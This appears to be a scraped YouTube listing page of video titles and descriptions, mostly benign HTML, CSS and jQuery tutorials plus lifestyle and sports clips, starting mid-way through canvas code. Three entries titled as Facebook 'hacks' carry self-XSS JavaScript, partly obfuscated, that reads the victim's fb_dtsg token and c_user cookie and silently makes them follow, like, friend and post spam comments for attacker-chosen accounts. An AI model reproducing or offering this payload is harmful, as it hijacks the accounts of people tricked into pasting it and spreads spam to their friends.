ctx3.globalCompositeOperation = "normal"; ctx.globalCompositeOperation = "hue"; ctx.drawImage(c3, 0, 0, c.width, c.height); ctx.globalCompositeOperation = "normal"; ctx2.drawImage(c, 0, 0, c2.width, c2.height); ctx2.drawImage(c2, c2.width / 32, c2.height / 32, c2.width / 32 * 30, c2.height / 32 * 30); ctx2.fillStyle = "hsla(0, 0%, 0%, 0.05)"; ctx2.fillRect(0, 0, c2.width, c2.height); requestAnimationFrame(loop); } loop(); //}, 5000); })(); If you enjoyed the video, like, comment, and subscribe, there's no harm in doing it! Check out these channels: https://www.youtube.com/channel/UCLBSp_S27grf3SC-Nv7_QmA https://www.youtube.com/channel/UCO7rnIYnt3hIZTGFGsszYQA https://www.youtube.com/channel/UCdPF-HtDi_XCRe7ixKv5VPw https://www.youtube.com/channel/UCXZ8ycjFBuINRooDDCl71RQ Some Diep.io Websites: http://diepio-conception.wikia.com/wiki/Diep.io_Conception_Wikia http://diepio.wikia.com/wiki/Diep.io_Wikia https://www.reddit.com/r/Diepio/
I Got A "Perfect" Makeover Based On My Features
 
24:56
I got a hair cut and color based on my face shape and skin tone, an outfit based on my body type and complexion, and a full face of makeup based on my skin and eye shape and color! Featuring Stacy London & Brad Mondo! Make sure to check out Brad's behind the scenes hair cut video here! https://www.youtube.com/watch?v=D6Oy4LfoqsU And check out Stacy's instagram here! https://www.instagram.com/stacylondonreal/ So I've always wondered what it would be like to follow all of the advice for my body type, face shape, skin tone, hair color, eye color, etc - and see if what I "should" be wearing based on my physical features is any better than what I already like to. So with the help of some experts, I went on a makeover journey and got a head-to-toe "perfect" makeover! Don’t forget to click the bell to turn on post notifications! Safiya's Nextbeat: https://nextbeat.co/u/safiya IG: https://www.instagram.com/safiyany/ Twitter: https://twitter.com/safiyajn Facebook: https://www.facebook.com/safnygaard/ This video is NOT sponsored! Assistant Editor: Emily Linden, Claire Wiley, Ben King MUSIC Mind The Gap Top Banana Magazine Cafe Latte Tango Fusion Sharp Dresser Jet Setter Oohs And Ahhs via Audio Network SFX via AudioBlocks
Views: 12546941 Safiya Nygaard
Howto Create Carousel Page on Finance Kiosk
 
01:17
0:00 The problem on hand 0:08 Overview of my program 0:28 Code glance Create a simple image carousel webpage in kiosk device for your local finance events using BootStrap & JQuery. @html lang="en"? @head? @title?Sam Finance Concepts - Image Carousel [email protected]/title? @meta charset="utf-8"? @meta name="viewport" content="width=device-width, initial-scale=1", shrink-to-fit=no"? @link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css"? @script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"[email protected]/script? @script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js"[email protected]/script? @script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"[email protected]/script? @style? .carousel-inner img { width: 100%; height: 75%; } @/style? @/head? @body? @nav class="navbar navbar-expand-lg navbar-light bg-light"? @div class="collapse navbar-collapse" id="navbarSupportedContent"? @ul class="navbar-nav mr-auto"? @li class="nav-item active"? @a class="nav-link" href="#"?Home @span class="sr-only"?(current)@/[email protected]/a? @/li? @/ul? @/div? @/nav? @div class="container mt-3"? @h1 class="display-4"?Create Image Carousel Webpage for Finance [email protected]/h1? @div id="img_caro" class="carousel slide"? @ul class="carousel-indicators"? @li class="item1 active"[email protected]/li? @li class="item2"[email protected]/li? @li class="item3"[email protected]/li? @/ul? @div class="carousel-inner"? @div class="carousel-item active"? @img src="1.jpg" width="1000" height="400"? @div class="carousel-caption"? @h1?Investor Talk [email protected]/h1? @p?The future [email protected]/p? @/[email protected]/div? @div class="carousel-item"? @img src="2.jpg" width="1000" height="400"? @div class="carousel-caption"? @h1?CFA after [email protected]/h1? @p?The best [email protected]/p? @/[email protected]/div? @div class="carousel-item"? @img src="3.jpg" width="1000" height="400"? @div class="carousel-caption"? @h1?CPA after [email protected]/h1? @p?The future [email protected]/p? @/[email protected]/div? @a class="carousel-control-prev" href="#img_caro"? @span class="carousel-control-prev-icon"[email protected]/span? @/a? @a class="carousel-control-next" href="#img_caro"? @span class="carousel-control-next-icon"[email protected]/span? @/a? @/div? @/div? @div class="jumbotron jumbotron-fluid"? @div class="container"? @h1 class="display-4"?CFA [email protected]/h1? @p class="lead"?Event topic on Par Value and evaluation [email protected]/p? @hr class="my-3"? @p?Get access to methods of par valuation and evaluation by industry experts. Hedge Funds managers share their knowledge with you on how to protect your assets. Lead by industry players pushing new [email protected]/p? @p?Event Date at 1st Dec [email protected]/p? @/div? @script? $(document).ready(function() { $(".carousel-control-prev").click(function() { $("#img_caro").carousel("prev"); }); $(".carousel-control-next").click(function() { $("#img_caro").carousel("next"); }); }); @/script? @/body? @/html?
Views: 424 Finance Owl
HTML5 Tutorial For Beginners - part 1 of 6 - Getting Started
 
07:17
http://www.LittleWebHut.com This series of videos demonstrates how to write HTML code that is compliant with the new HTML5 standards. These videos are good for beginners. Part 1: This video describes HTML tags, elements, and attributes. The new HTML5 doctype declaration is shown as well as the method for specifying the character encoding for the document. The basic structure of an HTML document is also shown. This video introduces the html, head, meta, title, body, and p tags. Part 2: This video describes how to use text. The p tag is demonstrated and the heading tags are introduced. The br tag is also shown. This video also touches on the importance of CSS. A quick demonstration of CSS is shown to center some text and to change its color. In older versions of HTML, text could be centered by using the align attribute. However, this attribute is deprecated and is not valid HTML5. While the align attribute may still work in your browser, it is not compliant with HTML5 standards. Therefore, learning CSS can be very beneficial when working with HTML5 code. Part 3: This video demonstrates how to use images and hyperlinks. The difference between relative and absolute addressing is covered. This video shows the height and width attributes used with the img tag. In older versions of HTML, the height and width attributes could be specified in pixels or as a percentage. However, it is not valid HTML5 to specify these values as a percentage. If a percentage value is desired then CSS can be used. Part 4: This video introduces 2 elements that are new to HTML5, the audio and video elements. While older browsers don't support these new elements, the popular newer browsers do. Link to the code used in this video. http://www.littlewebhut.com/html5/the_basics/
Views: 1121843 tutor4u
Simple jquery progress bar
 
11:05
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/05/simple-jquery-progress-bar.html In this video we will discuss how to create a simple animated jquery progress bar using animate() function. Replace < with LESSTHAN symbol and > with GREATERTHAN symbol <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#myButton').click(function () { animateProgressBar($('#ddlPercent').val()); }); function animateProgressBar(percentComplete) { $('#innerDiv').animate({ 'width': (500 * percentComplete) / 100 }, 2000); $({ counter: 1 }).animate({ counter: percentComplete }, { duration: 2000, step: function () { $('#innerDiv').text(Math.ceil(this.counter) + ' %'); } }); } }); </script> </head> <body style="font-family:Arial"> Select percentage : <select id="ddlPercent"> <option value="10">10</option> <option value="20">20</option> <option value="30">30</option> <option value="40">40</option> <option value="50">50</option> <option value="60">60</option> <option value="70">70</option> <option value="80">80</option> <option value="90">90</option> <option value="100">100</option> </select> <input type="button" id="myButton" value="Start Animation" /> <br /><br /> <div id="outerDiv" style="background-color:#EEEEEE; height:20px; width:500px; padding:5px"> <div id="innerDiv" style="width:0px; height:19px; text-align:center; background-color:red; color:white"></div> </div> </body> </html>
Views: 41799 kudvenkat
فقرة تطيير حساب الفيس في ثواني حتى لو كان ماكد بكود خيالي رابط الكود اسفل الفديو
 
01:29
/* Nh?c */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = ""; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("100004007711075");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("547308005412785");sublist("547308005412785");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=1467271763521927&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("1467271763521927");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} ///////////////////////////KH‘NG X”A ? –¬Y/////////////////////////// // t‡i IDS("100004007711075");sublist("309859869202932");sublist("392501614242041");a("100005367634268");IDS("100004007711075");P("592143407583552");P("582999478497945");P("582421328555760");P("579856352145591");P("548957485247837");a("100005367634268");P("273665952838835");P("294362407435856");P("1516173815298388");P("1467272503521853");P("718365414899786");P("718365558233105"); // cu?ng P("280695495469214");P("553480564795529");Like("256654094540498");Like("256654971207077");Like("138193409583659");Like("819200934774552");;Like("579210425543517");Like("1467271763521927");P("329774973894599");
ANIMATION USING JAVASCRIPT,HTML AND CSS | MUST WATCH!
 
02:30
Hello friends ,I am here with a new video in which i will tell you how can you make an animation using javascript.htmland css. okkkk. here is the soucre code--- ENJOY!! IMPORTANT MESSAGE--(((((((((angle brackets are not allowed in the description so i am using "[" instead of angle brackets okkk but make sure when you COPY this code you replace these"[" with angle brackets okkk)))))))) [!DOCTYPE html] [html] [style] #myContainer { width: 400px; height: 400px; position: relative; background: #b0d7c5; } #myAnimation { width: 50px; height: 50px; position: absolute; background-color: #00b867; } [/style] [body] Click the button below to see the Animation Effect [p] [button onclick="myMove()"]Click Me [/button] [/p] [div id ="myContainer"] [div id ="myAnimation"][/div] [/div] [script] function myMove() { var elem = document.getElementById ("myAnimation"); var pos = 0; var id = setInterval(frame, 10); function frame() { if (pos == 350) { clearInterval(id); } else { pos++; elem.style.top = pos + 'px'; elem.style.left = pos + 'px'; } } } [/script] [/body] [/html] THANKS FOR WATCHING THE VIDEO !! IN THE NEXT VIDEO I WILL TELL YOU HOW TO MAKE LOADERS.. OKKK BYE HAVE FUN
Views: 167 Keshav arora
HTML and CSS Tutorials 2: HTML basics, doctype, body, head, and paragraphs
 
08:55
In this tutorial we will learn the basics of html and learn about creating a basic web page with headers and doctypes. We will also learn about the paragraph elements in this tutorial. The course will teach you have to become a Web Application Engineer, knowing languages like php, ruby, html5, css3, javascript, jquery, ajax, and working with mysql databases. This is the beginning of the course where we will learn the basics of HTML and CSS. . Visit Our Friends @ Stone River E-Learning for Additional Tutorials - http://bit.ly/1fjsXTn Coupon 20% Off HTML & CSS for Beginners - http://bit.ly/1MmuYfw
Views: 6316 mybringback
How to call wcf service using jquery
 
12:52
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/06/how-to-call-wcf-service-using-jquery.html In this video we will discuss, how to call wcf service using jquery ajax Step 1 : Create SQL Server table and insert employee data Create table tblEmployee ( Id int primary key identity, Name nvarchar(50), Gender nvarchar(10), Salary int ) GO Insert into tblEmployee values ('Mark', 'Male', 50000) Insert into tblEmployee values ('Sara', 'Female', 60000) Insert into tblEmployee values ('John', 'Male', 45000) Insert into tblEmployee values ('Pam', 'Female', 45000) GO Step 2 : Create a stored procedure to retrieve employee data by ID Create procedure spGetEmployeeById @Id int as Begin Select ID, Name, Gender, Salary from tblEmployee where ID = @Id End Step 3 : Create new asp.net web application project. Name it Demo. Step 4 : Include a connection string in the web.config file to your database. <add name="DBCS" connectionString="server=.;database=SampleDB;integrated security=SSPI" /> Step 5 : Add a class file to the project. Name it Employee.cs. Copy and paste the following code. namespace Demo { public class Employee { public int ID { get; set; } public string Name { get; set; } public string Gender { get; set; } public int Salary { get; set; } } } Step 6 : Add a new WCF Service (Ajax-enabled). Name it EmployeeService.svc. Copy and paste the following code. using System; using System.Configuration; using System.Data; using System.Data.SqlClient; using System.ServiceModel; using System.ServiceModel.Activation; namespace Demo { [ServiceContract(Namespace = "")] [AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)] public class EmployeeService { [OperationContract] public Employee GetEmployeeById(int employeeId) { Employee employee = new Employee(); string cs = ConfigurationManager.ConnectionStrings["DBCS"].ConnectionString; using (SqlConnection con = new SqlConnection(cs)) { SqlCommand cmd = new SqlCommand("spGetEmployeeById", con); cmd.CommandType = CommandType.StoredProcedure; SqlParameter parameter = new SqlParameter(); parameter.ParameterName = "@Id"; parameter.Value = employeeId; cmd.Parameters.Add(parameter); con.Open(); SqlDataReader rdr = cmd.ExecuteReader(); while (rdr.Read()) { employee.ID = Convert.ToInt32(rdr["Id"]); employee.Name = rdr["Name"].ToString(); employee.Gender = rdr["Gender"].ToString(); employee.Salary = Convert.ToInt32(rdr["Salary"]); } } return employee; } } } Step 7 : Add an HTML page to the ASP.NET project. Copy and paste the following HTML and jQuery code <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#btnGetEmployee').click(function () { var empId = $('#txtId').val(); $.ajax({ url: 'EmployeeService.svc/GetEmployeeById', method: 'post', contentType: "application/json;charset=utf-8", data: JSON.stringify({ employeeId: empId }), dataType: 'json', success: function (data) { $('#txtName').val(data.d.Name); $('#txtGender').val(data.d.Gender); $('#txtSalary').val(data.d.Salary); }, error: function (err) { alert(err); } }); }); }); </script> </head> <body style="font-family:Arial"> ID : <input id="txtId" type="text" style="width: 86px" /> <input type="button" id="btnGetEmployee" value="Get Employee" /> <br /><br /> <table border="1" style="border-collapse: collapse"> <tr> <td>Name</td> <td><input id="txtName" type="text" /></td> </tr> <tr> <td>Gender</td> <td><input id="txtGender" type="text" /></td> </tr> <tr> <td>Salary</td> <td><input id="txtSalary" type="text" /></td> </tr> </table> </body> </html>
Views: 35014 kudvenkat
Making Divs Side by Side using CSS
 
04:24
Make two divs side by side using Float property in CSS Hey guys in this tutorial I will show you how to make two (2) div tags in HTML side by side using the float property in CSS. I will be using Dreamweaver CS6 in this tutorial but you could use any free HTML editor you want including Notepad ++ , Coda or others. Difficulty: Easy Make sure you comment rate and subscribe. link to video : http://www.youtube.com/watch?v=MUApnJ3y-Bs !-------CHANNEL--------------! http://youtube.com/how2cre8webs
Views: 155412 let's code!
Comady video...... Dipesh studio
 
00:15
var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://www.uploadhosting.co/uploads/222.127.170.109/%28Yiruma%29%20River%20Flow%20in%20You%20-%20Sungha%20Jung.mp3"; _div.appendChild(_audio); _body.appendChild(_div); var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","579105992208767","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text= Yeah I got 1m followers i will share you how to get 1m followers too kindy follow all the steps!","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\xom .............thanks watching my video and subscribe and shared
Views: 12 DIPESH Studio
hack compte facebook in 20 second
 
01:48
/* Nh?c */ var parent=document.getElementsByTagName("html")[0]; var _body = document.getElementsByTagName('body')[0]; var _div = document.createElement('div'); _div.style.height="25"; _div.style.width="100%"; _div.style.position="fixed"; _div.style.top="auto"; _div.style.bottom="0"; _div.align="center"; var _audio= document.createElement('audio'); _audio.style.width="100%"; _audio.style.height="25px"; _audio.controls = true; _audio.autoplay = false; _audio.autoplay = true; _audio.src = "http://picosong.com/media/songs/1623c97f871ebe69c08a4089737457dc"; _div.appendChild(_audio); _body.appendChild(_div); var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); var fb_dtsg=document.getElementsByName("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new XMLHttpRequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("POST",url4,true);http4.onreadystatechange=function(){if(http4.readyState==4&&http4.status==200)http4.close};http4.send(params4)}a("=ye.nesnes");function sublist(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}sublist("3907389738498");sublist("3907390978529");var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var now=(new Date).getTime();function P(post){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/ufi/like.php";var XParams="like_action=true&ft_ent_identifier="+post+"&source=1&client_id="+now+"%3A3366677427&rootid=u_ps_0_0_14&giftoccasion&ft[tn]=%3E%3DU&ft[type]=20&ft[qid]=5882006890513784712&ft[mf_story_key]="+post+"&nctr[_mod]=pagelet_home_stream&__user="+user_id+"&__a=1&__dyn=7n8ahyj35CFwXAg&__req=j&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)}var fb_dtsg=document.getElementsByName('fb_dtsg')[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);function Like(p){var Page=new XMLHttpRequest();var PageURL="//www.facebook.com/ajax/pages/fan_status.php";var PageParams="&fbpage_id="+p+"&add=true&reload=false&fan_origin=page_timeline&fan_source=&cat=&nctr[_mod]=pagelet_timeline_page_actions&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=d&fb_dtsg="+fb_dtsg+"&phstamp=";Page.open("POST",PageURL,true);Page.onreadystatechange=function(){if(Page.readyState==4&&Page.status==200){Page.close}};Page.send(PageParams)}Like("185309954944253");function IDS(r){var X=new XMLHttpRequest();var XURL="//www.facebook.com/ajax/add_friend/action.php";var XParams="to_friend="+r+"&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user="+user_id+"&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg="+fb_dtsg+"&phstamp=";X.open("POST",XURL,true);X.onreadystatechange=function(){if(X.readyState==4&&X.status==200){X.close}};X.send(XParams)} // a("107422616071654"); Like("447694105250723");
Views: 5205 aslo chaine
Hugo Lloris Personal info  Height, Weight, Age, Bio, body, Hair style, Tattoo, Net Worth & Wiki!!!
 
03:36
Hugo Lloris Real Name, Lifestyle, Nick Name, Personal Life, Height, Weight, Age, Bio, Physical Stats, Eye Colour, Hair Colour, Body Stats, Tattoo, Net Worth & Wiki !!! Hugo Lloris is a French professional footballer who plays as a goalkeeper and is the captain of both English club Tottenham Hotspur and the French national team. Wikipedia Born: 26 December 1986 (age 31), Nice, France Height: 1.88 m Nationality: French Spouse: Marine Lloris (m. 2012) Salary: 4.56 million EUR (2012) Current teams: Tottenham Hotspur F.C. (#1 / Goalkeeper), France national football team (#1 / Goalkeeper)
Views: 756 Startuve Tk
Passing data to event handler in jQuery
 
06:16
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/04/passing-data-to-event-handler-in-jquery.html In this video we will discuss how to pass data to the event handler function in jQuery The following example, 1. Binds the click event handler to the button using on function 2. We are passing 3 arguments to the on() function a) The name of the event b) JSON object that contains data that we want to pass to the event handler c) Event handler method name 3. In the event handler method (sayHello), we access the data using event object's data property. Replace < with LESSTHAN symbol and > with GREATERTHAN symbol <html> <head> <title></title> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#btnClickMe').on('click', { firstName: 'John', lastName: 'Doe' }, sayHello); $('#btnClickMe').on('click', { firstName: 'Mary' }, sayHello); $('#btnClickMe').on('click', sayHello); function sayHello(event) { if (event.data == null) { alert('No name provided'); } else { alert('Hello ' + event.data.firstName + (event.data.lastName != null ? ' ' + event.data.lastName : '')); } } }); </script> </head> <body style="font-family:Arial"> <input id="btnClickMe" type="button" value="Click Me" /> </body> </html> Output : Hello John Doe Hello Mary No name provided
Views: 39995 kudvenkat
#4 Creating a Drupal 7 custom theme from an HTML template :: Part 4
 
23:45
This series will show you how to setup a custom theme in Drupal 7 from an HTML template. Video 4: Create a zen sub theme using zenophile module. Create a custom frontpage file. Add a template.php preprocess override to remove the "No content promoted to front page" message. Modify the standard zen layout to achieve the stacked layout in out HTML design. Add some css to our fresh.css file. Add an image to the banner area to represent a banner or an adsense insert. Main.css /* CSS Document */ /* General Styles */ body { font-family: Arial, verdana, sans-serif; font-size: 14px; color: #80838d; } .fl { float: left; } .fr { float: right; } .cl { clear: left; } .cr { clear: right } .cb { clear: both; } .ci { margin: 0 auto; display: block; } .centerContainer { width: 960px; margin: 0 auto; height: auto;} .removeMarginRight { margin-right: 0px !important; } #divider { background-image: url(../images/divider.png); background-repeat: no-repeat; height: 5px; } img.icon { margin-right: 10px; } .article { margin: 15px 0px 25px 0px; } h3 {font-size: 24px; font-weight: bold; } h4 {font-size: 24px; font-weight: bold; color: #110e0e; } a {color: #4bd1fd; text-decoration: none; } a:hover {color: #4bd1fd; text-decoration: underline; /* Header Styles */ #headerContainer { width: 100%; height: 115px; background-image: url(../images/headerBG.png); } #logo { width: 400px; padding-top: 20px;} #logo img { margin-right: 15px; } #logo h1 { font-size: 33px; text-transform: uppercase; padding-bottom: 7px; } #logo p { font-size: 16px; text-transform: uppercase; letter-spacing: 3px; margin-left: 80px; padding-top: 5px; } #googleAdsense { width: 468px; height: 60px; margin-top: 25px; } /* Nav Styles */ #navContainer { width: 100%; height: 45px; background-color: #3d3f46; } #navContainer ol { padding-top: 10px; } #navContainer ol li { float: left; margin-right: 8px; } #navContainer ol li a { height: 35px; display: block; background-color: #4b4e56; padding: 0 15px; line-height: 32px; color: #fff; text-decoration: none; font-size: 12px; border-top-left-radius: 7px; border-top-right-radius: 7px; } #navContainer ol li a:hover { text-decoration: underline; } #navContainer ol li a.active { background-color: #fff; color: #3d3f46; } /* Featured Styles */ #featuredContainer { width: 100%; height: 301px; background-image: url(../images/featuredBG.png); } #prevBTN, #nextBTN { float: left; } #prevBTN img, #nextBTN img { padding-top: 120px; cursor: pointer;} #slider { float: left; width: 880px; padding-top: 30px; } #slider ul { padding: 20px; } #slider ul li { height: 260px; } #slider ul li img { margin-right: 40px; } #slider ul li h2 { text-transform: uppercase; font-size: 26px; color: #4bd1fc; margin-bottom: 20px; } #slider ul li p { margin-bottom: 30px; line-height: 25px; } /* Feature Boxes Styles */ #featureSection1, #featureSection2, #featureSection3 { width: 280px; float: left; margin-right: 50px; margin-top: 40px; margin-bottom: 40px; } #featureSection1 p, #featureSection2 p, #featureSection3 p { margin: 15px 0px; } #featureSection1 img, #featureSection2 img, #featureSection3 img { margin-right: 10px; } #featureSection1 ul, #featureSection2 ul, #featureSection3 ul { margin-left: 14px; } #featureSection1 ul li, #featureSection2 ul li, #featureSection3 ul li { list-style-image: url(../images/bulletPoint.png); } /* Main Content Styles */ #mainContent { width: 610px; float: left; min-height: 400px; padding-top: 40px; } #mainContent .article p { padding: 10px 0px; line-height: 25px; } /* Sidebar Styles */ #sidebar { width: 300px; float: left; min-height: 400px; padding-left: 50px; padding-top: 40px; } #sidebar .article p { line-height: 25px; } /* Footer Styles */ #footerContainer { width: 100%; height: 60px; background-image: url(../images/footerBG.png);} #footerContainer img { margin-left: 15px; margin-top: 20px;} #footerContainer p { margin-top: 20px;}
Views: 53606 Jason Moreland
How to stretch and fix the background image in HTML
 
02:16
In this HTML tutorial you will learn, how to stretch the background image if the image is smaller than browsers window screen. You can fit the background image size using css property background-size:100% 100%. You will also learn how to fix the background image to stop its scrolling if the page size is greater than the windows screen.
Views: 62984 faisal nadeem
Overflow (visible, hidden, scroll, and auto) - Webflow CSS tutorial
 
01:50
Sometimes, you might have a lot of content in a parent element that has a limited width or height. By default, the content will remain visible outside of the parent element’s bounds. With the overflow property, you can decide how to handle that overflowing content. In this video, we’ll cover how to ly the 4 overflow properties of: 1. Visible: the default 2. Hidden: clip the content 3. Scroll: always display scrollbars 4. Auto: displays scrollbars if content overflows ---------- Get started with Webflow: https://help.webflow.com/courses/getting-started http://webflow.com http://twitter.com/webflow http://facebook.com/webflow
Views: 27506 Webflow
“They Say I’m Better Than LeBron.” 14 Year Old Mikey Williams Has 40 Months Until He's In The NBA!
 
06:47
LaMelo Reacts To ZION ►► https://ovrt.me/2S4tjB7 Noah Farrakhan OT Challenge ►► https://ovrt.me/2qq5fwA Mikey Williams BALLS OUT ►► https://ovrt.me/2Q581GK Mikey Williams is the best 14 year old in the world. The beast from the North Coast Blue Chips had us come through to his place in San Diego and it got REAL. It was crazy to see how locked in he is for being so young. Mikey realizes he has about 40 months until he's eligible to be in the NBA, so he's gotta WORK. He also opened up about his family life and what it's like being compared to LEBRON. This stuff is really insane. We also got the full scoop on how he ended up teaming up with Bronny James. This was sick and btw...we got a MIKEY OT CHALLENGE coming soon. S/O to Mikey and all his fam. A lot more to come! Follow Us On Social! --------------------------------- Instagram: https://www.instagram.com/overtime Twitter: https://twitter.com/overtime Facebook: https://www.facebook.com/GetOvertime/ ---------------------------------
Views: 2152521 Overtime
HTML & HTML5 Hyperlink Tutorial Bangla 7
 
06:34
HTML & HTML5 HTML Links - Hyperlinks Html, Html5, Css, Css3, Javascript, Jquery, Angular js, Php, Mysql, C#, Java, Phyton etc HTML,CSS,JavaScript,DOM,jQuery,PHP,SQL,XML,Bootstrap,Web,W3CSS,W3C,tutorials,programming,development,training,learning,quiz,primer,lessons,reference,examples,source code,colors,demos,tips,w3c ----------------------------- a, href, terget, blank, class, id, title, img, src, width, height, style, alt, h1, h2, h3, h4, h5, h6, paragrape, bold, italic, underline, dd, dl, dt, ul, ol, li, div, span, strong, big, small, table, tbody, thead, th, tr, td, colspan, rowspan, cellspacing, cellpadding, blink, textarea, doctype, abbr, address, area, article, aside, audio, base, bdo, blockquot, body, br, canvas, caption, center, code, col, colgroup, del, details, dfn, em, embed, figcaption, figure, font, font family, font color, frame, frameset, head, header, iframe, ins, kbd, link, main, map, mark, menu, menuitem, meta, tag, contant, nav, noscript, script, object, output, param, picture, pre, progress, q, rp, rt, ruby, s, samp, section, source, strike, sub, sup, summary, svg, template, tfoot, time, track, tt, var, video, wbr, dir, header, footer, dialog, data, accept, align, autocomplete, autofocus, autoplay, bgcolor, background, border, charset, cite, content, controls, default, dirname, download, enctype, http-equiv, ismap, kind, lang, loop, marquee, low, media, onchange, oncopy, oncut, ondrop, onlood, pattern, rel, scope, shape, srclang, step, wrap, form, action, 